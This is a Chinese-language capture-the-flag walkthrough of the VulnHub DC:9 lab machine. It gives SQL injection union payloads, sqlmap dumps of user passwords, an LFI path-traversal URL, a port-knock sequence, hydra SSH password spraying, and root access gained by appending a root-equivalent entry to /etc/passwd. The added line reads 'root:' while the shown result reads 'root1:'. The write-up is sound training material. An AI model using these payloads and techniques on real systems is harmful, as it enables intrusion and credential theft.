vulnhub-wp DC:9

🖳 主机发现

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Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                           
16 Captured ARP Req/Rep packets, from 7 hosts.   Total size: 960                                                                                                        
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
-----------------------------------------------------------------------------
192.168.1.1     28:c8:7c:19:bf:e8     10     600  zte corporation                                                                                                       
192.168.1.5     20:1e:88:ad:fc:55      1      60  Intel Corporate                                                                                                       
192.168.1.6     0c:d8:6c:a5:e7:a1      1      60  SHENZHEN FAST TECHNOLOGIES CO.,LTD                                                                                    
192.168.1.10    08:00:27:2a:5c:99      1      60  PCS Systemtechnik GmbH                                                                                                
192.168.1.4     c4:e1:a1:cf:47:95      1      60  GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD                                                                    
192.168.1.3     a2:86:90:e6:04:98      1      60  Unknown vendor                                                                                                        
192.168.1.2     ca:71:62:08:70:8a      1      60  Unknown vendor

👁 服务扫描

nmap scan

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sudo nmap -p- -oN nmap_scan 192.168.1.10 -sV -sC --min-rate 5000 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 15:39 CST
Nmap scan report for 192.168.1.10 (192.168.1.10)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:2A:5C:99 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds

🚪🚶 获取权限

在web页面存在sql注入，可以通过联合查询
select database:-1' union select 1,2,3,4,5,database()##, database：Staff
select tables:-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()##, tables：StaffDetails，Users
select columns_name in users -1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='Users'##, columns in Users:UserID,Username,Password
select username and password:-1' union select 1,2,3,4,group_concat(Username),group_concat(Password) from Users##
credentials:admin:856f5de590ef37314e7c3bdf6f8a66dc, we could crack it in https://crackstation.net/.
admin:transorbital1
我们通过手工查询到了web登录的信息，然后可以继续手工测试或者用sqlmap直接一把梭，首先查询所有数据库。

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sqlmap -r sql --dbms=mysql --batch --dbs
···
[19:35:32] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] Staff
[*] users
···

  • --batch 所有选项都选yes

  • --dbs 爆出所有库。
    既然我们已经得到了Staff库里的信息，那我们爆一下users库里的东西

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    sqlmap -r sql --dbms=mysql --batch -D users --dump
    ···
    Database: users
    Table: UserDetails
    [17 entries]
    +----+------------+---------------+---------------------+-----------+-----------+
    | id | lastname   | password      | reg_date            | username  | firstname |
    +----+------------+---------------+---------------------+-----------+-----------+
    | 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
    | 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
    | 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
    | 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
    | 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
    | 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
    | 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
    | 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
    | 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
    | 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
    | 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
    | 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
    | 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
    | 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
    | 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
    | 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
    | 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
    +----+------------+---------------+---------------------+-----------+-----------+
    ···

  • -D 指定数据库

  • --dump 获取字段中的数据，其实就是爆表
    我们可以把这些用户名和密码都存起来，后面需要密码喷洒的时候会用。接着我们去web页面登录admin看看，我们登录后，在每个页面都能发现一个”File does not exist”，很可能这个页面是存在LFI漏洞的，那我们可以测试一下常用的url参数。
    且经过尝试，我们找到了这个knock服务的配置文件。（从ssh服务的状态是filtered我们也可以猜测可能是有防火墙或者knock服务）

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    http://192.168.1.10/manage.php?file=../../../../etc/knockd.conf

    那我们接下来用这个顺序去敲门，然后再通过hydra爆破ssh服务，从/etc/passwd文件中也正好看到除了root外有17个用户，恰好和users库中的对应

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    knock 192.168.1.10 7469 8475 9842 -v
    hitting tcp 192.168.1.10:7469
    hitting tcp 192.168.1.10:8475
    hitting tcp 192.168.1.10:9842

    然后再检查ssh服务

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    sudo nmap -p 22 192.168.1.10 -sV -sC                       
    ···
    Host is up (0.00042s latency).
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
    ···

    用hydra进行爆破

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    hydra -L users -P passwds 192.168.1.10 ssh -t 4 -I
    ···
    [DATA] attacking ssh://192.168.1.10:22/
    [STATUS] 92.00 tries/min, 92 tries in 00:01h, 214 to do in 00:03h, 4 active
    [22][ssh] host: 192.168.1.10   login: chandlerb   password: UrAG0D!
    [22][ssh] host: 192.168.1.10   login: joeyt   password: Passw0rd
    [STATUS] 94.00 tries/min, 282 tries in 00:03h, 24 to do in 00:01h, 4 active
    [22][ssh] host: 192.168.1.10   login: janitor   password: Ilovepeepee
    1 of 1 target successfully completed, 3 valid passwords found
    ···

    在janitor账户中，我们使用linpeas.sh找到了另外的一些密码，加入进我们的密码字典，然后继续喷洒以下ssh

🛡️ 提升权限

用找到的新密码继续喷洒

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hydra -L users -P passwds 192.168.1.10 ssh -t 4 -I
···
[DATA] attacking ssh://192.168.1.10:22/
[STATUS] 40.00 tries/min, 40 tries in 00:01h, 334 to do in 00:09h, 4 active
[22][ssh] host: 192.168.1.10   login: fredf   password: B4-Tru3-001
[STATUS] 48.00 tries/min, 144 tries in 00:03h, 230 to do in 00:05h, 4 active
····

找到了一个新的用户凭证，登录上之后发现有sudo命令

我们查看/opt/devstuff目录下存在二进制文件的源码，简单看过之后可以发现是将read文件里的加到第二个文件中去

既然如此，那我们就可以在passwd中加一段进行提权
首先在本地生成密码hash值

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mkpasswd -m sha-512 root
$6$KpgoDDyFhkOcig11$T1rC3qwEWHiTDQLJ1NUyY7W08/xowH7Wsfak6CW1iV/8m0mC2hAgQOWBNBXYNlgGeyQCbgdCeIERWt8s5QS3e0

将这一段保存进文件a中，然后使用sudo，将这一段加入/etc/passwd中

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root:$6$KpgoDDyFhkOcig11$T1rC3qwEWHiTDQLJ1NUyY7W08/xowH7Wsfak6CW1iV/8m0mC2hAgQOWBNBXYNlgGeyQCbgdCeIERWt8s5QS3e0:0:0:root:/root:/bin/bash
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sudo /opt/devstuff/dist/test/test a /etc/passwd

检查/etc/passwd中是否加入我们这一段

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cat /etc/passwd
···
root1:$6$KpgoDDyFhkOcig11$T1rC3qwEWHiTDQLJ1NUyY7W08/xowH7Wsfak6CW1iV/8m0mC2hAgQOWBNBXYNlgGeyQCbgdCeIERWt8s5QS3e0:0:0:root:/root:/bin/bash
···

既然已经加入，那我们直接切换到root1用户

📖 推荐文章

DC-9靶机地址

vulnhub
#vulnhub
vulnhub-wp DC:9
https://rightevil.github.io/vulnhub-wp-DC-9/
作者
rightevil
发布于
2024年2月24日
许可协议